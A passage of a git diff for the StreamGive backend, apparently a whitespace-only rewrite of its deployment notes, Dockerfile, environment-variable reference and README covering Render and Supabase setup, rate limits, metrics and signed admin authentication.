`CORS_ORIGINS`. + +## First deploy + +In Render: **New → Blueprint**, point it at this repository, and let it read +`render.yaml`. It prompts for the three values marked `sync: false`: + +| Variable | Value | Why it is not in `render.yaml` | +| --------------- | -------------------------------------------------------- | ------------------------------- | +| `DATABASE_URL` | Supabase session pooler URL, password percent-encoded | Secret | +| `ADMIN_ADDRESS` | the `G...` wallet that is admin on the deployed registry | Public, but deployment-specific | +| `CORS_ORIGINS` | the frontend's URL, e.g. `https://streamgive.vercel.app` | Public, but deployment-specific | + +`sync: false` marks values Render cannot know when it reads the blueprint; it +is not a list of secrets. Two of those three are public. + +The blueprint pins the rest of the required configuration — `NODE_ENV`, +`SOROBAN_RPC_URL`, both contract ids, and `INDEXER_POLL_INTERVAL_MS` — because +the same values are correct on every deployment. + +Nothing else has to be set for the service to boot. The rest of +[`ENVIRONMENT.md`](./ENVIRONMENT.md) is optional, and each value either has a +default in code or belongs to a feature you can enable later, which is why none +of it is in `render.yaml`. The one feature that cannot work until you add a +variable is webhook delivery: add `NOTIFY_WEBHOOK_URL` (and, to sign the +deliveries, `NOTIFY_WEBHOOK_SECRET`) under Environment → Add Environment +Variable. The remaining optional settings — `ADMIN_ADDRESSES`, `LOG_LEVEL`, +`TRUST_PROXY`, `RATE_LIMIT_*`, `INDEXER_START_LEDGER`, +`INDEXER_MAX_EVENTS_PER_POLL`, `INDEXER_LAG_THRESHOLD` — are safe to leave +unset unless you are overriding the documented default. + +## The ordering problem + +The frontend needs this API's URL, and this API needs the frontend's URL for +`CORS_ORIGINS`. Neither exists before the other, so: + +1. Deploy this backend and note its URL (`https://.onrender.com`) +2. Deploy the frontend with `NEXT_PUBLIC_API_URL` set to that +3. Come back and set `CORS_ORIGINS` to the frontend's real URL + +Until step 3, every browser request fails as `Failed to fetch`, which looks +like the server being down rather than a CORS refusal. It isn't. Put a +placeholder in at step 1 and correct it at step 3. + +## Database schema + +The app does not migrate on boot. Deploy the committed migrations from a +machine that has `DATABASE_URL` set: + +```sh +npx prisma migrate deploy +``` + +## Keeping it awake + +Render's free web services **spin down after about 15 minutes without HTTP +traffic**, and take 30–60 seconds to wake. Two consequences: + +- A visitor arriving cold waits through that wake-up on a blank page. +- While stopped, nothing is indexed. The indexer runs inside this process. + +### How long the indexer can be down without losing events + +Missed events are _recoverable_ rather than lost, but only while the saved +checkpoint is still inside the RPC's retention window. + +That window is a property of the RPC endpoint, not of this repository. It is +reported as `ledgerRetentionWindow` by `getHealth`, and it differs by network +and by provider: + +| Endpoint | `ledgerRetentionWindow` | At ~5 s per ledger | +| --------------------------------------------------------------------------------------- | ----------------------- | ------------------ | +| `https://soroban-testnet.stellar.org` (what `render.yaml` uses) | 120,960 | **~7 days** | +| Mainnet RPC endpoints (typical), as described in [`docs/INDEXER.md`](./docs/INDEXER.md) | 17,280 | **~24 hours** | + +Read the number off the endpoint you actually configured rather than trusting +either figure: + +```sh +curl -s -X POST "$SOROBAN_RPC_URL" -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":1,"method":"getHealth"}' +``` + +On wake, the indexer resumes from its saved checkpoint and catches up. Only a +gap longer than that window is unrecoverable — at which point it resyncs to the +current ledger and logs a warning naming what it skipped. + +### The pinger + +An external uptime pinger (cron-job.org, UptimeRobot, …) hitting the service +every 10 minutes keeps it awake, which also keeps the Supabase project clear of +its own 7-day inactivity pause: the indexer queries the database every poll +interval for as long as the process is running. + +Which route the pinger should hit depends on what its up/down state is +supposed to mean: + +| Target | What a `200` proves | Cost | +| -------------- | ------------------------------------------------------------------------------------------- | --------------------------------------- | +| `GET /metrics` | The process is running and routing requests. The handler reads process-local counters only. | Nothing beyond the request | +| `GET /health` | The process, Postgres, **and** the Stellar RPC all answered. | One DB query and one RPC call per check | + +`/health` answers `503` when either dependency fails, so a monitor pointed at +it reports an outage whenever Supabase or the public Stellar RPC has one, even +though nothing in this service is down. That is useful as a dependency check +and misleading as a liveness check; `/metrics` is the dependency-free option. +Both keep the instance awake, so a 10-minute `/metrics` ping is enough to stop +the spin-down. + +The same distinction applies to Render itself: `render.yaml` sets +`healthCheckPath: /health`, so a release is only marked healthy once the RPC +answers as well. That is the intent for a deploy — a new instance that cannot +reach the RPC cannot index — but it does mean a third-party incident can stall +a rollout. + +One caveat: Render's free plan allows 750 instance-hours per month and a +month is about 730 hours, so a permanently-awake service consumes nearly the +whole allowance. That budget covers **one** free service, not several. + +## Running more than one instance + +Several pieces of state live in process memory. Each one behaves differently +when a second replica runs, and when the process restarts. The table lists +what the code does today. + +| State | Where | Second replica | Restart | +|---|---|---|---| +| Admin signature replay set | `usedSignatures` in `src/middleware/adminAuth.ts` | A signature already used on one replica is accepted again on the other within the replay window. | Cleared, so a signature used before the restart is accepted again within its window. | +| Rate limits (global and NGO applications) | `@fastify/rate-limit` with its default in-memory store. No shared store is configured in `src/server.ts`. | Each replica counts requests separately, so the effective limit is about `RATE_LIMIT_MAX` times the number of replicas. | Counters reset. | +| Notification de-duplication | `deliveredEventIds` in `src/notifications/service.ts` (capped at 10,000 ids) | The database check against `notificationLog` runs before each send, but two replicas handling the same event at the same moment can both send before either writes the log entry. | The in-memory set is cleared. The database check still prevents resends of events logged as delivered. | +| Metrics counters | `src/metrics.ts` | `/metrics` reports one replica's counters. Scrape each replica separately. | Counters reset. | +| Indexer | Started in every process by `src/index.ts`. The checkpoint is in the `indexer_checkpoints` table. | No leader lock exists in `src/indexer`, so each replica polls the same events. Whether that double processing is harmless depends on the handlers being idempotent. This was not verified. | Resumes from the saved checkpoint. | +| Log retention | Daily `setInterval` in `src/maintenance/logRetention.ts`, in every process | Each replica runs the job. | Runs again on the next interval. | + +The one coordinated path is NGO application creation, which takes a Postgres +advisory lock keyed on the owner address (`src/routes/ngoApplications.ts`). +That check holds across replicas. + +**Recommended instance count: one.** Until the replay set, rate limits, and +indexer are moved to shared storage or given a leader lock, run a single +backend instance. Scale out only after those items are resolved, and keep the +indexer on one instance even then. + +## Notes on Supabase + +- Free-tier projects pause after 7 days of inactivity. The pinger above + keeps this service querying the database, which keeps the project active. +- Percent-encode the password in the connection URL. A literal `#` + truncates it, and a literal `@` breaks host parsing. diff --git a/Dockerfile b/Dockerfile index 7e48aba..be5686e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,36 +1,36 @@ -# ---- build: compile TS (and the generated Prisma client) to dist/ ---- -FROM node:22-slim AS build -WORKDIR /app - -# Copied separately from the rest of the source so `npm ci` — and its -# postinstall `prisma generate`, which needs the schema — is cached across -# builds unless dependencies or the schema actually change. -COPY package.json package-lock.json ./ -COPY prisma ./prisma -RUN npm ci - -COPY . . -RUN npm run build - -# ---- runtime: production deps only, non-root, no build tooling ---- -FROM node:22-slim AS runtime -WORKDIR /app -ENV NODE_ENV=production - -RUN addgroup --system --gid 1001 nodejs \ - && adduser --system --uid 1001 --ingroup nodejs streamgive - -COPY --chown=streamgive:nodejs package.json package-lock.json ./ -# --ignore-scripts: postinstall (`prisma generate`) already ran in the -# build stage and its output is copied in below — running it again here -# would need the `prisma` CLI, which --omit=dev deliberately excludes. -RUN npm ci --omit=dev --ignore-scripts - -COPY --from=build --chown=streamgive:nodejs /app/dist ./dist - -USER streamgive - -EXPOSE 3000 -HEALTHCHECK --interval=30s --timeout=3s --start-period=20s --retries=3 \ - CMD node -e "fetch('http://127.0.0.1:3000/health').then((response) => process.exit(response.ok ? 0 : 1)).catch(() => process.exit(1))" -CMD ["node", "dist/index.js"] +# ---- build: compile TS (and the generated Prisma client) to dist/ ---- +FROM node:22-slim AS build +WORKDIR /app + +# Copied separately from the rest of the source so `npm ci` — and its +# postinstall `prisma generate`, which needs the schema — is cached across +# builds unless dependencies or the schema actually change. +COPY package.json package-lock.json ./ +COPY prisma ./prisma +RUN npm ci + +COPY . . +RUN npm run build + +# ---- runtime: production deps only, non-root, no build tooling ---- +FROM node:22-slim AS runtime +WORKDIR /app +ENV NODE_ENV=production + +RUN addgroup --system --gid 1001 nodejs \ + && adduser --system --uid 1001 --ingroup nodejs streamgive + +COPY --chown=streamgive:nodejs package.json package-lock.json ./ +# --ignore-scripts: postinstall (`prisma generate`) already ran in the +# build stage and its output is copied in below — running it again here +# would need the `prisma` CLI, which --omit=dev deliberately excludes. +RUN npm ci --omit=dev --ignore-scripts + +COPY --from=build --chown=streamgive:nodejs /app/dist ./dist + +USER streamgive + +EXPOSE 3000 +HEALTHCHECK --interval=30s --timeout=3s --start-period=20s --retries=3 \ + CMD node -e "fetch('http://127.0.0.1:3000/health').then((response) => process.exit(response.ok ? 0 : 1)).catch(() => process.exit(1))" +CMD ["node", "dist/index.js"] diff --git a/ENVIRONMENT.md b/ENVIRONMENT.md index 2ce71ab..3f28a2c 100644 --- a/ENVIRONMENT.md +++ b/ENVIRONMENT.md @@ -1,54 +1,54 @@ -# Environment variables - -Copy `.env.example` to `.env` (and `.env.test.example` to `.env.test` for the test suite) and fill these in. - -## Loading and precedence - -When the application starts, [`src/index.ts`](./src/index.ts) imports `dotenv/config` before the server, indexer, or database modules. Dotenv reads `.env` and fills only variables that are not already present in `process.env`. Shell exports and hosting-platform settings therefore take precedence over `.env` values. - -The Vitest setup in [`test/setup.ts`](./test/setup.ts) loads `.env.test` before the test modules. It follows the same rule: existing environment variables are not overwritten. CI sets `DATABASE_URL` directly to its PostgreSQL service in [`.github/workflows/ci.yml`](./.github/workflows/ci.yml), so that CI value takes precedence over any `DATABASE_URL` in `.env.test`. The `db:push:test` script also explicitly loads `.env.test` for local test-schema setup. - -Many settings are read from `process.env` once when their module is imported, not each time they are used. For example, `src/db.ts` captures `DATABASE_URL`, `src/stellar/rpc.ts` captures `SOROBAN_RPC_URL`, `src/indexer/contracts.ts` captures the contract IDs, and `src/indexer/worker.ts` captures its polling and start-ledger settings. Set these values before starting the app or importing those modules; changing `process.env` afterward will not update the already-created client or values. Tests that change such settings must reset and re-import the relevant modules. - -Admin requests are authenticated with a signed timestamp header. The timestamp **must be a Unix timestamp in milliseconds** (i.e. `Date.now()`). Timestamps in seconds are rejected with a `timestamp_unit_mismatch` error; multiply by `1000` if you only have seconds. Timestamps are compared against `Date.now()` with a 5-minute clock skew allowance (`stale_signature`). Send `Date.now()` directly; do not send `Math.floor(Date.now() / 1000)`. - -## Environment variable reference - -| Variable | Required | Default | Notes | -|---|---|---|---| -| `DATABASE_URL` | Yes | — | Postgres connection string. Inside `docker compose`, the backend service overrides this to point at the `postgres` service, not `localhost`. | -| `PORT` | No | `3000` | Port the Fastify server listens on. | -| `SOROBAN_RPC_URL` | No | `https://soroban-testnet.stellar.org` | Soroban RPC endpoint the indexer polls. | -| `STELLAR_NETWORK_PASSPHRASE` | No | SDK Testnet passphrase | Network passphrase used for read-only contract simulations and Soroban RPC transactions. | -| `NGO_REGISTRY_CONTRACT_ID` | No* | — (empty) | Deployed `ngo-registry` contract ID. See `streamgive-contracts/deployments.json`. The indexer no-ops until both contract IDs are set. | -| `DONATION_VAULT_CONTRACT_ID` | No* | — (empty) | Deployed `donation-vault` contract ID. See `streamgive-contracts/deployments.json`. The indexer no-ops until both contract IDs are set. | -| `WATCHED_CONTRACT_IDS` | No | — (empty) | Optional comma-separated contract IDs to watch for indexer status reporting. Also accepts legacy `CONTRACT_IDS`. Defaults to `NGO_REGISTRY_CONTRACT_ID` and `DONATION_VAULT_CONTRACT_ID`. | -| `INDEXER_POLL_INTERVAL_MS` | No | `5000` | How often the indexer polls `getEvents`. Doubles on each consecutive poll failure, up to a 5-minute cap; see [`docs/INDEXER.md`](./docs/INDEXER.md). | -| `INDEXER_START_LEDGER` | No | Latest ledger | Starting ledger for a new indexer with no saved checkpoint; useful for historical backfills. Existing checkpoints take precedence. | -| `INDEXER_MAX_EVENTS_PER_POLL` | No | RPC default | Positive integer limiting events fetched and processed per poll. The event cursor is checkpointed so the next poll resumes after the last handled event. | -| `INDEXER_LAG_THRESHOLD` | No | `100` | Maximum ledger lag allowed before the `/health/ready` check reports `503 Service Unavailable` with `indexer_lagging`. | -| `CORS_ORIGINS` | No | `http://localhost:3001` | Comma-separated origins allowed to call this API from a browser. | -| `ADMIN_ADDRESS` | No** | — (empty) | One Stellar public key (`G...`) allowed to sign admin requests. It is combined with `ADMIN_ADDRESSES`; it does not have to be the only allowed signer. | -| `ADMIN_ADDRESSES` | No** | — (empty) | Comma-separated additional Stellar public keys (`G...`) allowed to sign admin requests. Values are trimmed, blank entries ignored, and duplicates removed. Set either this or `ADMIN_ADDRESS`; admin routes return `503 admin_auth_not_configured` only when both are empty. | -| `NOTIFY_WEBHOOK_URL` | No | — (empty) | If set, notification events across the platform—stream lifecycle events (`stream_created`, `stream_withdrawn`, `stream_cancelled`), NGO status updates (`ngo_approved`, `ngo_revoked`), and application events (`application_submitted`, `application_reviewed`)—are POSTed here as JSON. | -| `NOTIFY_WEBHOOK_TIMEOUT_MS` | No | `3000` | Maximum duration in milliseconds for a webhook request. Invalid or non-positive values use the default. | -| `NOTIFY_WEBHOOK_SECRET` | No | — (empty) | If set, every webhook POST carries an `x-streamgive-signature` header containing the lowercase hexadecimal HMAC-SHA256 of the raw request body, keyed with this value, so receivers can reject forged notifications. The header is omitted when this is unset. See the README's notification section for the verification recipe. | -| `METRICS_TOKEN` | No | — (empty) | If set, `GET /metrics` requires `Authorization: Bearer `. Missing or incorrect tokens receive `401 { "error": "unauthorized" }`. Unset leaves `/metrics` public. | -| `RATE_LIMIT_MAX` | No | `100` | Global maximum number of requests allowed per time window across the API. | -| `RATE_LIMIT_WINDOW` | No | `1 minute` | Global rate-limit time window, such as `1 minute` or `10000` milliseconds. | -| `RATE_LIMIT_APPLICATION_MAX` | No | `5` | Maximum number of NGO application submissions allowed per time window. | -| `RATE_LIMIT_APPLICATION_WINDOW` | No | `1 minute` | Rate-limit time window for NGO application submissions. | -| `TRUST_PROXY` | No | `true` | Controls Fastify's `trustProxy` setting to read client IPs from `X-Forwarded-For`. Behind reverse proxies such as Render, this helps rate limiting use individual client IPs rather than the proxy IP. Accepts `true` (default), `false`, a bounded hop count (e.g. `1`), or a comma-separated list of trusted IPs/CIDRs. | -| `LOG_LEVEL` | No | `info` | Pino log level: `fatal`, `error`, `warn`, `info`, `debug`, or `trace`. | -| `LOG_RETENTION_DAYS` | No | `90` | Age in days before notification logs and resolved indexer dead letters are pruned daily. Unresolved dead letters are retained. | -| `NODE_ENV` | No | Unset (treated as development) | Set to `production` to switch logging to structured JSON instead of `pino-pretty`. Set automatically inside the Docker image. | -| `HEALTH_CHECK_TIMEOUT_MS` | No | `3000` | Maximum duration in milliseconds allowed for each health-check dependency call before it is reported as degraded. | -| `BODY_LIMIT_BYTES` | No | `1048576` | Maximum request body size in bytes (1 MiB). Must be a positive integer. Requests above the limit receive `413 { "error": "payload_too_large" }`. | -| `RESEND_API_KEY` | No | — | Resend API key used to send NGO contact-email verification messages. Required, together with `NOTIFY_EMAIL_FROM` and `API_PUBLIC_URL`, for verification emails to be sent; other notification events remain in log-only stub mode. | -| `NOTIFY_EMAIL_FROM` | No | — | Sender address used by Resend for contact-email verification. Required when `RESEND_API_KEY` is configured. | -| `NOTIFY_EMAIL_TO` | No (planned) | — | Planned recipient address for notification emails. Not yet read by runtime code. | -| `API_PUBLIC_URL` | No | — | Public HTTPS origin used to build NGO contact-email verification links. Required, together with `RESEND_API_KEY` and `NOTIFY_EMAIL_FROM`, to verify NGO application contact addresses. | - -\* Required for the indexer to do anything; the app runs fine without them, but it will not see on-chain events. - -\** Required for admin-authenticated routes; configure at least one address using `ADMIN_ADDRESS` and/or `ADMIN_ADDRESSES`. Admin timestamps always use Unix milliseconds; there is no `ADMIN_TIMESTAMP_UNIT` runtime setting. Everything else in the API works without the admin address configuration. +# Environment variables + +Copy `.env.example` to `.env` (and `.env.test.example` to `.env.test` for the test suite) and fill these in. + +## Loading and precedence + +When the application starts, [`src/index.ts`](./src/index.ts) imports `dotenv/config` before the server, indexer, or database modules. Dotenv reads `.env` and fills only variables that are not already present in `process.env`. Shell exports and hosting-platform settings therefore take precedence over `.env` values. + +The Vitest setup in [`test/setup.ts`](./test/setup.ts) loads `.env.test` before the test modules. It follows the same rule: existing environment variables are not overwritten. CI sets `DATABASE_URL` directly to its PostgreSQL service in [`.github/workflows/ci.yml`](./.github/workflows/ci.yml), so that CI value takes precedence over any `DATABASE_URL` in `.env.test`. The `db:push:test` script also explicitly loads `.env.test` for local test-schema setup. + +Many settings are read from `process.env` once when their module is imported, not each time they are used. For example, `src/db.ts` captures `DATABASE_URL`, `src/stellar/rpc.ts` captures `SOROBAN_RPC_URL`, `src/indexer/contracts.ts` captures the contract IDs, and `src/indexer/worker.ts` captures its polling and start-ledger settings. Set these values before starting the app or importing those modules; changing `process.env` afterward will not update the already-created client or values. Tests that change such settings must reset and re-import the relevant modules. + +Admin requests are authenticated with a signed timestamp header. The timestamp **must be a Unix timestamp in milliseconds** (i.e. `Date.now()`). Timestamps in seconds are rejected with a `timestamp_unit_mismatch` error; multiply by `1000` if you only have seconds. Timestamps are compared against `Date.now()` with a 5-minute clock skew allowance (`stale_signature`). Send `Date.now()` directly; do not send `Math.floor(Date.now() / 1000)`. + +## Environment variable reference + +| Variable | Required | Default | Notes | +|---|---|---|---| +| `DATABASE_URL` | Yes | — | Postgres connection string. Inside `docker compose`, the backend service overrides this to point at the `postgres` service, not `localhost`. | +| `PORT` | No | `3000` | Port the Fastify server listens on. | +| `SOROBAN_RPC_URL` | No | `https://soroban-testnet.stellar.org` | Soroban RPC endpoint the indexer polls. | +| `STELLAR_NETWORK_PASSPHRASE` | No | SDK Testnet passphrase | Network passphrase used for read-only contract simulations and Soroban RPC transactions. | +| `NGO_REGISTRY_CONTRACT_ID` | No* | — (empty) | Deployed `ngo-registry` contract ID. See `streamgive-contracts/deployments.json`. The indexer no-ops until both contract IDs are set. | +| `DONATION_VAULT_CONTRACT_ID` | No* | — (empty) | Deployed `donation-vault` contract ID. See `streamgive-contracts/deployments.json`. The indexer no-ops until both contract IDs are set. | +| `WATCHED_CONTRACT_IDS` | No | — (empty) | Optional comma-separated contract IDs to watch for indexer status reporting. Also accepts legacy `CONTRACT_IDS`. Defaults to `NGO_REGISTRY_CONTRACT_ID` and `DONATION_VAULT_CONTRACT_ID`. | +| `INDEXER_POLL_INTERVAL_MS` | No | `5000` | How often the indexer polls `getEvents`. Doubles on each consecutive poll failure, up to a 5-minute cap; see [`docs/INDEXER.md`](./docs/INDEXER.md). | +| `INDEXER_START_LEDGER` | No | Latest ledger | Starting ledger for a new indexer with no saved checkpoint; useful for historical backfills. Existing checkpoints take precedence. | +| `INDEXER_MAX_EVENTS_PER_POLL` | No | RPC default | Positive integer limiting events fetched and processed per poll. The event cursor is checkpointed so the next poll resumes after the last handled event. | +| `INDEXER_LAG_THRESHOLD` | No | `100` | Maximum ledger lag allowed before the `/health/ready` check reports `503 Service Unavailable` with `indexer_lagging`. | +| `CORS_ORIGINS` | No | `http://localhost:3001` | Comma-separated origins allowed to call this API from a browser. | +| `ADMIN_ADDRESS` | No** | — (empty) | One Stellar public key (`G...`) allowed to sign admin requests. It is combined with `ADMIN_ADDRESSES`; it does not have to be the only allowed signer. | +| `ADMIN_ADDRESSES` | No** | — (empty) | Comma-separated additional Stellar public keys (`G...`) allowed to sign admin requests. Values are trimmed, blank entries ignored, and duplicates removed. Set either this or `ADMIN_ADDRESS`; admin routes return `503 admin_auth_not_configured` only when both are empty. | +| `NOTIFY_WEBHOOK_URL` | No | — (empty) | If set, notification events across the platform—stream lifecycle events (`stream_created`, `stream_withdrawn`, `stream_cancelled`), NGO status updates (`ngo_approved`, `ngo_revoked`), and application events (`application_submitted`, `application_reviewed`)—are POSTed here as JSON. | +| `NOTIFY_WEBHOOK_TIMEOUT_MS` | No | `3000` | Maximum duration in milliseconds for a webhook request. Invalid or non-positive values use the default. | +| `NOTIFY_WEBHOOK_SECRET` | No | — (empty) | If set, every webhook POST carries an `x-streamgive-signature` header containing the lowercase hexadecimal HMAC-SHA256 of the raw request body, keyed with this value, so receivers can reject forged notifications. The header is omitted when this is unset. See the README's notification section for the verification recipe. | +| `METRICS_TOKEN` | No | — (empty) | If set, `GET /metrics` requires `Authorization: Bearer `. Missing or incorrect tokens receive `401 { "error": "unauthorized" }`. Unset leaves `/metrics` public. | +| `RATE_LIMIT_MAX` | No | `100` | Global maximum number of requests allowed per time window across the API. | +| `RATE_LIMIT_WINDOW` | No | `1 minute` | Global rate-limit time window, such as `1 minute` or `10000` milliseconds. | +| `RATE_LIMIT_APPLICATION_MAX` | No | `5` | Maximum number of NGO application submissions allowed per time window. | +| `RATE_LIMIT_APPLICATION_WINDOW` | No | `1 minute` | Rate-limit time window for NGO application submissions. | +| `TRUST_PROXY` | No | `true` | Controls Fastify's `trustProxy` setting to read client IPs from `X-Forwarded-For`. Behind reverse proxies such as Render, this helps rate limiting use individual client IPs rather than the proxy IP. Accepts `true` (default), `false`, a bounded hop count (e.g. `1`), or a comma-separated list of trusted IPs/CIDRs. | +| `LOG_LEVEL` | No | `info` | Pino log level: `fatal`, `error`, `warn`, `info`, `debug`, or `trace`. | +| `LOG_RETENTION_DAYS` | No | `90` | Age in days before notification logs and resolved indexer dead letters are pruned daily. Unresolved dead letters are retained. | +| `NODE_ENV` | No | Unset (treated as development) | Set to `production` to switch logging to structured JSON instead of `pino-pretty`. Set automatically inside the Docker image. | +| `HEALTH_CHECK_TIMEOUT_MS` | No | `3000` | Maximum duration in milliseconds allowed for each health-check dependency call before it is reported as degraded. | +| `BODY_LIMIT_BYTES` | No | `1048576` | Maximum request body size in bytes (1 MiB). Must be a positive integer. Requests above the limit receive `413 { "error": "payload_too_large" }`. | +| `RESEND_API_KEY` | No | — | Resend API key used to send NGO contact-email verification messages. Required, together with `NOTIFY_EMAIL_FROM` and `API_PUBLIC_URL`, for verification emails to be sent; other notification events remain in log-only stub mode. | +| `NOTIFY_EMAIL_FROM` | No | — | Sender address used by Resend for contact-email verification. Required when `RESEND_API_KEY` is configured. | +| `NOTIFY_EMAIL_TO` | No (planned) | — | Planned recipient address for notification emails. Not yet read by runtime code. | +| `API_PUBLIC_URL` | No | — | Public HTTPS origin used to build NGO contact-email verification links. Required, together with `RESEND_API_KEY` and `NOTIFY_EMAIL_FROM`, to verify NGO application contact addresses. | + +\* Required for the indexer to do anything; the app runs fine without them, but it will not see on-chain events. + +\** Required for admin-authenticated routes; configure at least one address using `ADMIN_ADDRESS` and/or `ADMIN_ADDRESSES`. Admin timestamps always use Unix milliseconds; there is no `ADMIN_TIMESTAMP_UNIT` runtime setting. Everything else in the API works without the admin address configuration. diff --git a/README.md b/README.md index 5df0d2e..1a002a1 100644 --- a/README.md +++ b/README.md @@ -1,315 +1,315 @@ -# StreamGive — Backend - -Indexer and API for StreamGive, a recurring/streaming donation platform for -verified NGOs on Stellar. Watches the on-chain contracts for events and -serves the data that powers the frontend. - -## Stack - -- TypeScript, Node.js -- Fastify (API server) -- PostgreSQL -- [Architecture overview](ARCHITECTURE.md): how the API, indexer, and - notification dispatcher run together and shut down. - -## API - -Routes are split into two groups: - -| Prefix | Routes | -|--------|--------| -| `/v1` | NGOs, streams, donors, impact, NGO applications, indexer status | -| _(none)_ | `GET /health`, `GET /health/ready`, `GET /metrics` | - -`GET /v1/health` is **not** a valid route and returns 404. Health checks and -metrics sit at the root so load balancers and uptime monitors can reach them -without knowing the API version. - -See the [API reference](docs/API.md) for every endpoint, its parameters, -authentication requirements, and response examples. - -Interactive API documentation via Swagger UI is available at `/docs` (e.g. -`http://localhost:3000/docs` in local development), and the OpenAPI JSON document -is available at `/docs/json`. - -Swagger UI and the OpenAPI JSON endpoints are only registered outside of -production (`NODE_ENV !== 'production'`). In production environments, Swagger UI -is disabled and the `/docs` route is not registered (returning 404). For API -documentation on deployed production instances, consult the [API reference](docs/API.md). - -## Rate limits - -The API allows up to **100 requests per minute per client IP** by default. -`POST /v1/ngo-applications` has a tighter limit of **5 requests per minute -per client IP**. Exceeding a limit returns `429 Too Many Requests` with -`{"error":"rate_limited"}`. Responses include `Retry-After` and -`X-RateLimit-*` headers to help clients know when to retry. Cross-origin -browser clients can read those headers because they are listed in the CORS -`Access-Control-Expose-Headers` response. - -The global limit can be adjusted with `RATE_LIMIT_MAX` and -`RATE_LIMIT_WINDOW`; the application submission limit can be adjusted with -`RATE_LIMIT_APPLICATION_MAX` and `RATE_LIMIT_APPLICATION_WINDOW`. - -Rate-limit state is kept in memory by each server process, not shared between -instances or persisted. With multiple instances, each instance tracks its own -limits, so a client's effective allowance can be higher than the configured -per-instance limit. Restarting an instance also clears its rate-limit state. - -## Prometheus metrics - -`GET /metrics` returns Prometheus text format (`text/plain; version=0.0.4`). -It exposes HTTP request totals and duration, indexer checkpoint and lag, and webhook -delivery totals. Configure Prometheus to scrape it on the API host and port. - -Set `METRICS_TOKEN` to require `Authorization: Bearer ` on `/metrics`. -When it is unset, the endpoint stays public; see [ENVIRONMENT.md](ENVIRONMENT.md). - -## NGO Verification Model - -An NGO's verified status consists of two distinct steps kept deliberately separate: - -1. **Off-Chain Application Review (`NgoApplication.status`)**: An NGO submits an off-chain application containing organization details and verification documents. Admins review and update the application status (e.g., `APPROVED` or `REJECTED`) within the database. -2. **On-Chain Contract Approval (`Ngo.verified`)**: Once an application is reviewed off-chain, an admin executes an on-chain transaction (`approve_ngo`) to grant the NGO verified status on the Stellar smart contract. The indexer listens for on-chain events (`ngo_approved` / `ngo_revoked`) and updates the `Ngo.verified` field accordingly. - -Keeping off-chain application review separate from on-chain contract approval ensures that sensitive organizational details and review metadata remain off-chain, while the Stellar ledger remains the single source of truth for execution permissions and verified status. - -## Admin Authentication - -Admin routes are protected by a signed request scheme (`requireAdminSignature`). Each request must include: - -- `x-admin-address` — the admin's Stellar public key (`G...`), which must appear in `ADMIN_ADDRESS` or `ADMIN_ADDRESSES`. -- `x-admin-timestamp` — the current time as a Unix timestamp in **milliseconds** (e.g. `Date.now()` in JavaScript). -- `x-admin-signature` — a base64 or hex Ed25519 signature over the signed payload (see below). - -### Signed payload - -The signature is produced by signing the following string with the admin's Stellar keypair via the SEP-53 generic message-signing scheme (`SHA-256(prefix + message)`, where `prefix = "Stellar Signed Message:\n"`): - -``` -METHOD:url:timestamp:bodyHash -``` - -- **METHOD** — HTTP method in upper-case, e.g. `GET`, `POST`, `PATCH`. -- **url** — the full request URL including path and query string, e.g. `/v1/ngo-applications?status=PENDING`. -- **timestamp** — the `x-admin-timestamp` value (milliseconds). -- **bodyHash** — lower-case hex SHA-256 of the raw request body, or the SHA-256 of an empty buffer (`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`) for bodyless requests (GET, DELETE, etc.). - -Including the body hash in the signed payload prevents an attacker who intercepts a valid request from replaying it with a different body (e.g. a different `reviewNote`) inside the replay window. - -### Timestamp rules - -The timestamp must be within ±5 minutes of the server's clock. The unit is **milliseconds**, not seconds. Sending a 10-digit seconds-precision timestamp is rejected with `timestamp_unit_mismatch` (not `stale_signature`) so clients get a clear signal. - -### Error codes - -| Error | Status | Meaning | -|---|---|---| -| `unauthorized` | 401 | Missing or invalid headers, address not on allow-list, or signature did not verify | -| `stale_signature` | 401 | Timestamp is malformed or outside the ±5-minute replay window | -| `timestamp_unit_mismatch` | 401 | Timestamp looks like seconds (< 10^11); send milliseconds | -| `replayed_signature` | 401 | The same address+timestamp+method+url has already been used in this window | -| `admin_auth_not_configured` | 503 | Neither `ADMIN_ADDRESS` nor `ADMIN_ADDRESSES` is set | - -## Local development - -``` -cp .env.example .env -docker compose up -d postgres # starts Postgres (+ a streamgive_test DB) -npm install -npm run db:deploy # apply Prisma migrations to streamgive -npm run db:seed # optional: load sample NGOs, donors and streams -npm run dev - -``` - -In development, interactive API documentation is available at `http://localhost:3000/docs`; the OpenAPI document is at `/docs/json`. Swagger UI is disabled in production. - -The test database is created by the `postgres` service in `docker-compose.yml` -as `streamgive_test`. Start it with `docker compose up -d postgres`, copy -`.env.test.example` to `.env.test`, run `npm run db:push:test` to sync the -Prisma schema to that database, and only then run `npm test`. - -## Troubleshooting - -**"Can't reach database" / connection errors on startup** - -Postgres isn't up yet, or `DATABASE_URL` doesn't point at it. Run -`docker compose up -d postgres` and confirm `DATABASE_URL` in `.env` matches -(`postgresql://streamgive:streamgive@localhost:5432/streamgive` when running -`npm run dev` directly — the `postgres` host only resolves inside -`docker compose`, see the override in `docker-compose.yml`). Then run -`npm run db:deploy` to apply the committed migrations. - -**Indexer never picks up events** - -If `NGO_REGISTRY_CONTRACT_ID` and `DONATION_VAULT_CONTRACT_ID` are both -unset, this is expected — the indexer no-ops until at least one is set. See -[ENVIRONMENT.md](./ENVIRONMENT.md) for where to get the deployed contract -ids. If they're set and events still aren't showing up, check -`SOROBAN_RPC_URL` is reachable and that the contracts have actually emitted -events since the indexer's checkpoint (a fresh run starts from the current -ledger, not from the contract's history). - -**Admin routes return 503** - -`ADMIN_ADDRESS` is unset. The admin review endpoints refuse all requests -until it's configured — set it to the Stellar public key (`G...`) that -matches the `admin` configured on the deployed contracts. See -[ENVIRONMENT.md](./ENVIRONMENT.md). - -## Data model and API statistics - -See [docs/DATA-MODEL.md](./docs/DATA-MODEL.md) for the entity relationship -diagram and the exact calculations used by `/ngos/:id` and `/impact/:ngoId`. - -## Notification events - -The webhook body is a JSON object discriminated by `type`. The full payload -shapes, including `ngo_registered`, are documented in -[docs/NOTIFICATIONS.md](./docs/NOTIFICATIONS.md). - -```js -import { createHmac, timingSafeEqual } from 'node:crypto'; - -function isFromStreamGive(rawBody, timestamp, deliveryId, signatureHeader, secret) { - if (!timestamp || !deliveryId || !signatureHeader) return false; - if (!/^\d+$/.test(timestamp)) return false; - if (Math.abs(Date.now() / 1000 - 